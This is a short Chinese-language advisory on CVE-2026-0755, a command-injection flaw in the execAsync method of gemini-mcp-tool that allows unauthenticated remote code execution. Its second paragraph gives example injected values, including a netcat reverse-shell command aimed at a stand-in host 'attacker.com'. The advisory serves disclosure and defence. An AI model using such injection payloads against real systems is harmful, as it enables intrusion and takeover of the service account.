CVE-2026-0755CVE-2026-0755是gemini-mcp-tool中的一个严重命令注入漏洞,CVSS评分高达9.8分(严重级别)。该漏洞存在于gemini-mcp-tool的execAsync方法实现中,由于缺乏对用户提供的字符串进行适当的验证就直接用于系统调用执行,导致远程攻击者可以在无需认证的情况下执行任意代码。攻击者可以利用此漏洞在受影响系统的服务账户上下文中执行恶意代码,从而完全控制受害系统。此漏洞被ZDI(Zero Day Initiative)编号为ZDI-CAN-27783,属于典型的命令注入(Command Injection)类型的远程代码执行(RCE)漏洞。gemini-mcp-tool作为Google Gemini MCP(Model Context Protocol)工具,在AI应用开发中广泛使用,因此该漏洞影响范围较大,建议用户立即采取修复措施。
该漏洞的根本原因在于execAsync方法对用户输入的验证不足。execAsync方法在接收到用户提供的字符串参数后,未进行任何安全过滤或参数化处理,直接将该字符串拼接到系统命令中执行。攻击者可以通过构造恶意payload,如在参数中注入分号、管道符或反引号等shell特殊字符,实现命令拼接。例如,攻击者可以发送包含'; whoami;'或'| nc attacker.com 4444 -e /bin/bash'等恶意命令的参数,触发额外的系统命令执行。由于该方法缺少输入验证机制,任何能够调用execAsync接口的远程用户都可以利用此漏洞执行任意系统命令,实现远程代码执行。攻击成功后,攻击者获得服务账户的权限,可进行数据窃取、横向移动或部署后门等恶意操作。